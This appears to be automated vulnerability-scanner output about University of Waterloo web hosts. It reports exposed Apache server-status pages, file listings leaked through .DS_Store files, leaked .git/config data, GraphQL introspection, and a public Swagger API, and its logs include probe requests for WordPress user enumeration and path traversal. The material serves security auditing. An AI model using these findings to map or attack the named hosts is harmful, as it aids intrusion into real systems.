Apache Status Apache Server Status for rt-stage.math.uwaterloo.ca (via 129.97.6.12) Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0 Server MPM: prefork Server Built: 2024-07-17T18:57:26 Current Time: Wednesday, 14-Aug-2024 18:17:44 EDT Restart Time: Wednesday, 14-Aug-2024 12:24:34 EDT Parent Server Config. Generation: 2 Parent Server MPM Generation: 1 Server uptime: 5 hours 53 minutes 10 seconds Server load: 0.00 0.00 0.00 Total accesses: 153 - Total Traffic: 4.5 MB - Total Duration: 39595 CPU Usage: u.22 s.38 cu5.35 cs1.13 - .0334% CPU load .00722 requests/sec - 222 B/second - 30.1 kB/request - 258.791 ms/request 1 requests currently being processed, 5 idle workers __W___.......................................................... ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqDurConnChildSlotClientProtocolVHostRequest 0-1130040/5/14_ 0.008541274720.00.020.22 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 1-1130050/3/14_ 0.0018941157620.00.030.47 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 2-1130068/12/23W 0.000055388.70.021.16 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /server-status HTTP/1.1 3-1130070/22/28_ 0.00324968740.00.030.21 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /?rest_route=/wp/v2/users/ HTTP/1.1 4-1130080/4/20_ 0.0012411255040.00.031.09 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 5-1130140/3/16_ 0.0011281125600.00.020.36 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET / HTTP/1.1 6-0-0/0/16. 0.0019172246730.00.000.64 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Admin/Queues/Modify.html?id=1 HTTP/1.1 7-0-0/0/6. 0.0019172348630.00.000.05 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=4 HTTP/1.1 8-0-0/0/5. 0.0019172277550.00.000.04 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80GET /Helpers/TicketHistory?id=4 HTTP/1.1 9-0-0/0/11. 0.001917210635910.00.000.24 129.97.206.16http/1.1rt-stage.math.uwaterloo.ca:80POST /Helpers/PreviewScrips HTTP/1.1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request DurSum of milliseconds required to process all requests ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot mod_fcgid status: Total FastCGI processes: 1 Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi) PidActiveIdleAccessesState 1300919169048Ready Active and Idle are time active and time since last request, in seconds. Apache/2.4.52 (Ubuntu) Server at rt-stage.math.uwaterloo.ca Port 80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb315a8542765a8542763efeb238
Apache Status Apache Server Status for rt-stage.math.uwaterloo.ca (via 129.97.6.12) Server Version: Apache/2.4.52 (Ubuntu) mod_fcgid/2.3.9 mod_perl/2.0.12 Perl/v5.34.0 Server MPM: prefork Server Built: 2024-07-17T18:57:26 Current Time: Tuesday, 13-Aug-2024 14:07:21 EDT Restart Time: Tuesday, 13-Aug-2024 13:54:44 EDT Parent Server Config. Generation: 2 Parent Server MPM Generation: 1 Server uptime: 12 minutes 37 seconds Server load: 0.00 0.00 0.00 Total accesses: 460 - Total Traffic: 1.1 MB - Total Duration: 19984 CPU Usage: u.04 s.02 cu2.87 cs.31 - .428% CPU load .608 requests/sec - 1542 B/second - 2537 B/request - 43.4435 ms/request 2 requests currently being processed, 6 idle workers _W___K__........................................................ ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqDurConnChildSlotClientProtocolVHostRequest 0-133540/22/47_ 0.00597344240.00.050.11 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=bba3011aaca5cb7fc92ecee944e1192e 1-133558/8/29W 0.00003868.80.010.06 129.97.206.16http/1.1dsteinmo.math.uwaterloo.ca:80GET /server-status HTTP/1.1 2-133560/21/62_ 0.00596325190.00.050.15 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=43dfed5864060b15540a5895faa48d4c 3-133570/62/83_ 0.00584326380.00.150.20 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=a56333acbab23197ee4461c58dac15a7 4-133580/1/2_ 0.00595195478460.00.000.00 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/static/images/request-tracker-logo.svg HTTP/1.1 5-133661/1/102K 0.000108782.50.000.25 129.97.206.16http/1.1dsteinmo.math.uwaterloo.ca:80GET / HTTP/1.1 6-133700/0/101_ 0.0060349590.00.000.25 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=b3880857d3a28d8bf7365f2f80850dd1 7-133760/0/34_ 0.0060243300.00.000.08 129.97.111.54http/1.1dsteinmo.math.uwaterloo.ca:80GET /rt/NoAuth/Login.html?next=899add2ca3d0c427490b04e3148aa8a1 SrvChild Server number - generation PIDOS process ID AccNumber of accesses this connection / this child / this slot MMode of operation CPUCPU usage, number of seconds SSSeconds since beginning of most recent request ReqMilliseconds required to process most recent request DurSum of milliseconds required to process all requests ConnKilobytes transferred this connection ChildMegabytes transferred this child SlotTotal megabytes transferred this slot mod_fcgid status: Total FastCGI processes: 2 Process: rt-server.fcgi (/usr/share/request-tracker5/libexec/rt-server.fcgi) PidActiveIdleAccessesState 3371603030Ready3361605085Ready Active and Idle are time active and time since last request, in seconds. Apache/2.4.52 (Ubuntu) Server at rt-stage.math.uwaterloo.ca Port 80
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c3c1fc5e93c1fc5e94a7e0559075c565a94f88adb86eb3f7f
Found 5 files trough .DS_Store spidering: /css /fonts /images /index.html /js
Severity: medium
Fingerprint: 5f32cf5d6962f09c248e4f81248e4f81c23c6041030910b055bef91112b4dedf
Found 41 files trough .DS_Store spidering: /css /css/font-awesome.min.css /css/ie /css/ie/backgroundsize.min.htc /css/ie/html5shiv.js /css/ie/v8.css /css/images /css/images/bg.jpg /css/images/bg2.png /css/images/overlay.png /css/images/wood.jpg /css/skel.css /css/style-desktop.css /css/style-mobile.css /css/style-noscript.css /css/style.css /fonts /fonts/fontawesome-webfont.eot /fonts/fontawesome-webfont.svg /fonts/fontawesome-webfont.ttf /fonts/fontawesome-webfont.woff /fonts/FontAwesome.otf /images /images/me.jpg /images/pic01.jpg /images/pic02.jpg /images/pic03.jpg /images/pic04.jpg /images/pic05.jpg /images/pic06.jpg /images/pic07.jpg /images/pic08.jpg /images/pic09.jpg /images/pic10.jpg /images/pic11.jpg /images/pic12.jpg /index.html /js /js/init.js /js/jquery.min.js /js/skel.min.js
Severity: medium
Fingerprint: 5f32cf5d6962f09c8f03d7bd8f03d7bd53ac2c8597a1684c1aae2dede1f8a4b0
Found 38 files trough .DS_Store spidering: /css /css/font-awesome.min.css /css/ie /css/ie/backgroundsize.min.htc /css/ie/html5shiv.js /css/ie/v8.css /css/images /css/images/bg.jpg /css/images/bg2.png /css/images/overlay.png /css/images/wood.jpg /css/skel.css /css/style-desktop.css /css/style-mobile.css /css/style-noscript.css /css/style.css /fonts /fonts/fontawesome-webfont.eot /fonts/fontawesome-webfont.svg /fonts/fontawesome-webfont.ttf /fonts/fontawesome-webfont.woff /fonts/FontAwesome.otf /images /images/me.jpg /images/pic01.jpg /images/pic02.jpg /images/pic03.jpg /images/pic04.jpg /images/pic05.jpg /images/pic06.jpg /images/pic07.jpg /images/pic08.jpg /images/pic09.jpg /images/pic10.jpg /images/pic11.jpg /images/pic12.jpg /index.html /js
Severity: low
Fingerprint: 5f32cf5d6962f09ca0cc0fcfa0cc0fcf7c01fcc7a1459456668dbd279705ea6c
Found 25 files trough .DS_Store spidering: /css /css/font-awesome.min.css /css/ie /css/ie/backgroundsize.min.htc /css/ie/html5shiv.js /css/ie/v8.css /css/images /css/images/bg.jpg /css/images/bg2.png /css/images/overlay.png /css/images/wood.jpg /css/skel.css /css/style-desktop.css /css/style-mobile.css /css/style-noscript.css /css/style.css /fonts /fonts/fontawesome-webfont.eot /fonts/fontawesome-webfont.svg /fonts/fontawesome-webfont.ttf /fonts/fontawesome-webfont.woff /fonts/FontAwesome.otf /images /index.html /js
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c63442d9d63442d9dc81853f0c81853f0c81853f0c81853f0
Found 1 files trough .DS_Store spidering: /seminars
Severity: low
Fingerprint: 5f32cf5d6962f09c2eda814e2eda814e0999b6e95c1fba72ccbedd5ee6bea254
Found 6 files trough .DS_Store spidering: /seminars /seminars/notes /seminars/notes/2016-17 /seminars/presentations /seminars/presentations/2016-17 /seminars/presentations/2019-20
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfc6c4501af084e68c03e8172d4021bb419
Found 4 files trough .DS_Store spidering: /seminars /seminars/notes /seminars/notes/2016-17 /seminars/presentations
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c81c345f781c345f76d28fca8f6cbdcb7dd9a6e3250f68e9e
Found 32 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /homepages/CM /homepages/HS /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN /ROMAN/excerpttext
Severity: low
Fingerprint: 5f32cf5d6962f09c31c2f0b631c2f0b6468223b30ab54f78a4156ff9b645df64
Found 28 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
Severity: low
Fingerprint: 5f32cf5d6962f09cf35cbfb3f35cbfb3766049e4c5e36e2bd121cc0e40c1b4cc
Found 29 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
Severity: low
Fingerprint: 5f32cf5d6962f09c2a439cf82a439cf8db613bd1703c93fa224def5f9e17a442
Found 31 files trough .DS_Store spidering: /about-margot /about-margot/team /campsey /cantus /cantus-a-latin-chant-database /cantus-a-latin-chant-database-2 /category /category/margot-conference /category/news /chansons /chansons/lion /conference-1993 /conference-1993/feed /conference-2005 /conference-2010 /conference-2010-egypt /conference-2014 /conferences /css /DMAConference /francais /home /homepages /homepages/CM /homepages/HS /images /interested-in-working-on-margot /margotEng /margotFren /maximenu_files /ROMAN
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: medium
Fingerprint: 5f32cf5d6962f09c8f03d7bd8f03d7bd7c5dcd3715aeae0134495697b88c93bb
Found 38 files trough .DS_Store spidering: /app.php /app_dev.php /apple-touch-icon.png /bundles /config.php /favicon.ico /pd12 /pd12/.idea /pd12/admin.html /pd12/copyright.html /pd12/csv_view.html /pd12/error.html /pd12/image_view.html /pd12/index.html /pd12/pd12.html /pd12/question.html /pd12/question_manager.html /pd12/README.md /pd12/src /pd12/src/audio /pd12/src/bootstrap /pd12/src/bootstrap/css /pd12/src/bootstrap/fonts /pd12/src/bootstrap/js /pd12/src/css /pd12/src/images /pd12/src/jquery.min.js /pd12/src/js /pd12/src/mediaelement /pd12/src/PapaParse-4.1.2 /pd12/src/question-generator-test.js /pd12/src/question-generator.js /pd12/src/qunit-1.18.0.css /pd12/src/qunit-1.18.0.js /pd12/src/video /pd12/video.html /reports /robots.txt
Severity: medium
Fingerprint: 5f32cf5d6962f09cd4047824d4047824c6b4c91ab1d7e1c47dede0f452d7758b
Found 35 files trough .DS_Store spidering: /app.php /app_dev.php /apple-touch-icon.png /bundles /config.php /favicon.ico /pd12 /pd12/.idea /pd12/admin.html /pd12/copyright.html /pd12/csv_view.html /pd12/error.html /pd12/image_view.html /pd12/index.html /pd12/pd12.html /pd12/question.html /pd12/question_manager.html /pd12/README.md /pd12/src /pd12/src/audio /pd12/src/bootstrap /pd12/src/css /pd12/src/images /pd12/src/jquery.min.js /pd12/src/js /pd12/src/mediaelement /pd12/src/PapaParse-4.1.2 /pd12/src/question-generator-test.js /pd12/src/question-generator.js /pd12/src/qunit-1.18.0.css /pd12/src/qunit-1.18.0.js /pd12/src/video /pd12/video.html /reports /robots.txt
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b746ba3fdb14e3bdf31fd69b1d24438814
Found 128 files trough .DS_Store spidering: /about.php /admin /archives.php /article.php /bonusPoints.php /contact.php /css /documents /documents.php /donate.php /DSC_0776.jpg /extraArchives.php /functions /functions/CAS-1.1.1 /functions/js /funding /funding.php /header_searh_form.txt /images /images/arrow-up.gif /images/articles /images/articles/2_main.jpg /images/articles/2_thumb.jpg /images/articles/34_thumb.gif /images/articles/35_thumb.jpg /images/articles/36_main.jpg /images/articles/36_thumb.png /images/articles/37_main.gif /images/articles/37_thumb.gif /images/articles/39_thumb.jpg /images/articles/42_main.jpg /images/articles/42_thumb.jpg /images/articles/43_main.bmp /images/articles/43_thumb.bmp /images/articles/44_thumb.bmp /images/articles/46_main.bmp /images/articles/46_main.jpg /images/articles/46_main.png /images/articles/46_thumb.bmp /images/articles/46_thumb.jpg /images/articles/46_thumb.png /images/articles/47_main.png /images/articles/47_thumb.png /images/articles/48_main.gif /images/articles/48_main.jpg /images/articles/48_thumb.gif /images/articles/48_thumb.jpg /images/articles/49_main.jpg /images/articles/49_main.png /images/articles/49_thumb.jpg /images/articles/49_thumb.png /images/articles/4_main.gif /images/articles/4_main.jpg /images/articles/4_thumb.gif /images/articles/4_thumb.jpg /images/articles/50_main.png /images/articles/50_thumb.png /images/articles/51_main.png /images/articles/51_thumb.png /images/articles/53_main.png /images/articles/53_thumb.png /images/articles/56_main.jpg /images/articles/56_main.main_je2h0fjbhm9mhdgurdcd6er9r2 /images/articles/56_thumb.jpg /images/articles/56_thumb.main_je2h0fjbhm9mhdgurdcd6er9r2 /images/articles/57BUO9~P /images/articles/5_main.jpg /images/articles/5AL7R3~F /images/articles/5KLHQP~I /images/articles/5QMUDJ~A /images/articles/602PCF~M /images/articles/62_main.jpg /images/articles/62_thumb.jpg /images/articles/62_thumb.png /images/articles/62SYU9~9 /images/articles/64_main.jpg /images/articles/64_thumb.jpg /images/articles/65_main.jpg /images/articles/65_thumb.jpg /images/articles/6MXSOK~N /images/articles/6NG709~Y /images/articles/Thumbs.db /images/background.gif /images/bg.gif /images/bullet.gif /images/button-bg.png /images/button-hover-bg.png /images/clock.gif /images/comment.gif /images/content-bg.jpg /images/edit.gif /images/edit.png /images/email.gif /images/favicon.ico /images/feed-icon14.gif /images/feed-icon16.gif /images/footer-bg.png /images/gravatar.jpg /images/header-bg.jpg /images/header-search.png /images/left-nav-bg.gif /images/PDF-Icon.png /images/quote.gif /images/ribbon.gif /images/ribbon.png /images/right-nav-bg.gif /images/search.png /images/sep-bg.jpg /images/thumb.jpg /images/twitter.gif /images/upload /images/WEEF_logo.png /images/WEEF_Logo_2400.png /images/Weef_logo_web.gif /images/WEEF_Logo_yellow.png /images/weef_thumb.jpg /images/WEEF_trans.png /images/WEEF_trans_sml.png /images/WEEF_trans_yel.png /images/wordlogo.png /includes /index.php /new /new - Copy /newProposal.php /old /old/css /old/Documents
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b746ba3fdb14e3bdf31fd69b1d63772efe
Found 128 files trough .DS_Store spidering: /about.php /admin /archives.php /article.php /bonusPoints.php /contact.php /css /documents /documents.php /donate.php /DSC_0776.jpg /extraArchives.php /functions /functions/CAS-1.1.1 /functions/js /funding /funding.php /header_searh_form.txt /images /images/arrow-up.gif /images/articles /images/articles/2_main.jpg /images/articles/2_thumb.jpg /images/articles/34_thumb.gif /images/articles/35_thumb.jpg /images/articles/36_main.jpg /images/articles/36_thumb.png /images/articles/37_main.gif /images/articles/37_thumb.gif /images/articles/39_thumb.jpg /images/articles/42_main.jpg /images/articles/42_thumb.jpg /images/articles/43_main.bmp /images/articles/43_thumb.bmp /images/articles/44_thumb.bmp /images/articles/46_main.bmp /images/articles/46_main.jpg /images/articles/46_main.png /images/articles/46_thumb.bmp /images/articles/46_thumb.jpg /images/articles/46_thumb.png /images/articles/47_main.png /images/articles/47_thumb.png /images/articles/48_main.gif /images/articles/48_main.jpg /images/articles/48_thumb.gif /images/articles/48_thumb.jpg /images/articles/49_main.jpg /images/articles/49_main.png /images/articles/49_thumb.jpg /images/articles/49_thumb.png /images/articles/4_main.gif /images/articles/4_main.jpg /images/articles/4_thumb.gif /images/articles/4_thumb.jpg /images/articles/50_main.png /images/articles/50_thumb.png /images/articles/51_main.png /images/articles/51_thumb.png /images/articles/53_main.png /images/articles/53_thumb.png /images/articles/56_main.jpg /images/articles/56_main.main_je2h0fjbhm9mhdgurdcd6er9r2 /images/articles/56_thumb.jpg /images/articles/56_thumb.main_je2h0fjbhm9mhdgurdcd6er9r2 /images/articles/57BUO9~P /images/articles/5_main.jpg /images/articles/5AL7R3~F /images/articles/5KLHQP~I /images/articles/5QMUDJ~A /images/articles/602PCF~M /images/articles/62_main.jpg /images/articles/62_thumb.jpg /images/articles/62_thumb.png /images/articles/62SYU9~9 /images/articles/64_main.jpg /images/articles/64_thumb.jpg /images/articles/65_main.jpg /images/articles/65_thumb.jpg /images/articles/6MXSOK~N /images/articles/6NG709~Y /images/articles/Thumbs.db /images/background.gif /images/bg.gif /images/bullet.gif /images/button-bg.png /images/button-hover-bg.png /images/clock.gif /images/comment.gif /images/content-bg.jpg /images/edit.gif /images/edit.png /images/email.gif /images/favicon.ico /images/feed-icon14.gif /images/feed-icon16.gif /images/footer-bg.png /images/gravatar.jpg /images/header-bg.jpg /images/header-search.png /images/left-nav-bg.gif /images/PDF-Icon.png /images/quote.gif /images/ribbon.gif /images/ribbon.png /images/right-nav-bg.gif /images/search.png /images/sep-bg.jpg /images/thumb.jpg /images/twitter.gif /images/upload /images/WEEF_logo.png /images/WEEF_Logo_2400.png /images/Weef_logo_web.gif /images/WEEF_Logo_yellow.png /images/weef_thumb.jpg /images/WEEF_trans.png /images/WEEF_trans_sml.png /images/WEEF_trans_yel.png /images/wordlogo.png /includes /index.php /new /new - Copy /newProposal.php /old /people.php /pres.pdf
GraphQL introspection is enabled.
This could leak to data leak if not properly configured.
Severity: medium
Fingerprint: c2db3a1c40d490db2337d3d62337d3d62337d3d62337d3d62337d3d62337d3d6
GraphQL introspection enabled at /api/graphql
Severity: medium
Fingerprint: c2db3a1c40d490db2337d3d603073f8703073f8703073f8703073f8703073f87
GraphQL introspection enabled at /api/graphql Detected: GitLab
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c3c1fc5e93c1fc5e9985beddf1236dea596c98b23c8802ec1
Found 5 files trough .DS_Store spidering: /!images /!images/inter_visits /!images/people /contests /video
Severity: low
Fingerprint: 5f32cf5d6962f09c026392ab026392abb5fc3fa56e285c675a03576d21af4cbc
Found 7 files trough .DS_Store spidering: /!images /!images/inter_visits /!images/people /contests /contests/brochures /contests/brochures/2016-2017 /video
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65220b49fcf7
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/osu-uwaterloo/osu-uwaterloo-website.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "gh-pages"] remote = origin merge = refs/heads/gh-pages
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522eb963d29
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/osuuwaterloo/osu-uwaterloo-site-master fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c2eda814e2eda814e2cd21bea386a5e80aac15b9875288c40
Found 6 files trough .DS_Store spidering: /assets /config.codekit /css /img /index.html /js
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfc58bbbf2564a606e7713f011f61068f46
Found 4 files trough .DS_Store spidering: /images /images/Bolivia /images/Bolivia/Totolima S14 /videos
Exposing Swagger/OpenAPI documentation is primarily a risk if your API has underlying security flaws, as it gives attackers a precise roadmap to find them.
Those detail every endpoint, parameter, and data model, making it easier to discover and exploit vulnerabilities like broken access control or injection points.
While a perfectly secure API mitigates the danger, protecting your documentation is a critical layer of defense that forces attackers to work without a map.
Severity: info
Fingerprint: 5733ddf49ff49cd1f3d88d606b50b5b0ef97d909e4c20e3a57ee3085c1d9948c
Public Swagger UI/API detected at path: /swagger/v1/swagger.json - sample paths:
GET /v3/AcademicOrganizations
GET /v3/AcademicOrganizations/{organizationCode}
GET /v3/Account/{email}
GET /v3/Account/{email}/notify
GET /v3/Account/{email}/{apiKey}/reset
GET /v3/ClassSchedules/{termCode}
GET /v3/ClassSchedules/{termCode}/{courseId}
GET /v3/ClassSchedules/{termCode}/{subject}/{catalogNumber}
GET /v3/Courses/{termCode}
GET /v3/Courses/{termCode}/{courseId}
GET /v3/Courses/{termCode}/{courseId}/{offerNumber}
GET /v3/Courses/{termCode}/{subject}
GET /v3/Courses/{termCode}/{subject}/{catalogNumber}
GET /v3/ExamSchedules
GET /v3/ExamSchedules/{code}
GET /v3/FoodServices/franchises
GET /v3/FoodServices/franchises/{id}
GET /v3/FoodServices/franchises/{name}
GET /v3/FoodServices/outlets
GET /v3/FoodServices/outlets/{id}
GET /v3/FoodServices/outlets/{name}
GET /v3/HolidayDates/paidholidays
GET /v3/HolidayDates/paidholidays/ics
GET /v3/HolidayDates/paidholidays/{year}
GET /v3/ImportantDates
GET /v3/ImportantDates/{year}
GET /v3/Locations
GET /v3/Locations/geojson
GET /v3/Locations/search/{locationName}
GET /v3/Locations/search/{locationName}/geojson
GET /v3/Locations/{locationCode}
GET /v3/Locations/{locationCode}/geojson
GET /v3/Subjects
GET /v3/Subjects/associatedto/{organizationCode}
GET /v3/Subjects/{code}
GET /v3/Terms
GET /v3/Terms/current
GET /v3/Terms/{code}
GET /v3/Wcms
GET /v3/Wcms/latestevents/{maxItems}
GET /v3/Wcms/latestnews/{maxItems}
GET /v3/Wcms/latestposts/{maxItems}
GET /v3/Wcms/{id}
GET /v3/Wcms/{id}/events
GET /v3/Wcms/{id}/news
GET /v3/Wcms/{id}/posts
POST /v3/Account/Confirm
POST /v3/Account/Register
The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.
Severity: medium
Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a6522772b44f1
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://github.com/pkp/ojs.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "main"] remote = origin merge = refs/heads/main [branch "grants_stable-3_3_0"] remote = origin merge = refs/heads/stable-3_3_0 [submodule "docs/manual"] active = true url = https://github.com/pkp/ojs-user-guide [submodule "lib/pkp"] active = true url = https://github.com/pkp/pkp-lib.git [submodule "lib/ui-library"] active = true url = https://github.com/pkp/ui-library [submodule "plugins/blocks/browse"] active = true url = https://github.com/pkp/browse [submodule "plugins/blocks/makeSubmission"] active = true url = https://github.com/pkp/makeSubmission.git [submodule "plugins/generic/citationStyleLanguage"] active = true url = https://github.com/pkp/citationStyleLanguage.git [submodule "plugins/generic/customBlockManager"] active = true url = https://github.com/pkp/customBlockManager.git [submodule "plugins/generic/googleAnalytics"] active = true url = https://github.com/pkp/googleAnalytics.git [submodule "plugins/generic/googleScholar"] active = true url = https://github.com/pkp/googleScholar [submodule "plugins/generic/lensGalley"] active = true url = https://github.com/asmecher/lensGalley [submodule "plugins/generic/orcidProfile"] active = true url = https://github.com/pkp/orcidProfile.git [submodule "plugins/generic/pdfJsViewer"] active = true url = https://github.com/pkp/pdfJsViewer.git [submodule "plugins/generic/staticPages"] active = true url = https://github.com/pkp/staticPages.git [submodule "plugins/generic/tinymce"] active = true url = https://github.com/pkp/tinymce.git [submodule "plugins/generic/usageStats"] active = true url = https://github.com/pkp/usageStats.git [submodule "plugins/reports/counter/classes/COUNTER"] active = true url = https://github.com/ulsdevteam/COUNTER.git [submodule "plugins/reports/reviewReport"] active = true url = https://github.com/pkp/reviewReport
.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).
They store information about the files within a folder, including display options of folders, such as icon positions and view settings.
It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.
Severity: low
Fingerprint: 5f32cf5d6962f09c0215adfc0215adfc58bbbf2564a606e7713f011f61068f46
Found 4 files trough .DS_Store spidering: /images /images/Bolivia /images/Bolivia/Totolima S14 /videos
The server-status page (usually /server-status) allows server administrators to find out how well their server is performing.
This is a HTML page that gives the current server statistics such as the server version, up time,cpu, ram, and information about requests made to the server.
This information can be very useful if the application is sent sensitive information as GET requests. If you monitor this page you might be able to find CSRF tokens, API keys, hidden paths, and other sensitive information being sent to the server.
https://medium.com/@ghostlulzhacks/apache-server-status-a70abed83f5a
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb3194a5357194a5357193375f14
Apache Status Apache Server Status for wms-stg.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Wednesday, 22-Feb-2023 11:22:57 EST Restart Time: Monday, 19-Dec-2022 09:12:14 EST Parent Server Config. Generation: 145 Parent Server MPM Generation: 144 Server uptime: 65 days 2 hours 10 minutes 43 seconds Server load: 0.28 0.65 0.63 Total accesses: 1670678 - Total Traffic: 21.9 GB CPU Usage: u104.93 s46.38 cu0 cs0 - .00269% CPU load .297 requests/sec - 4187 B/second - 13.8 kB/request 8 requests currently being processed, 2 idle workers _WWWCW.WW.W_.................................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-144137000/90/158280_ 1.77100.01.192044.54 127.0.0.1http/1.1pilots.uwaterloo.ca:8080HEAD /ping HTTP/1.1 1-144289290/16/151589W 0.48000.00.121956.24 127.0.0.1http/1.1pilots.uwaterloo.ca:8080GET /s/43e2932313e27393e2932313/_/;/META-INF/maven/com.atlassia 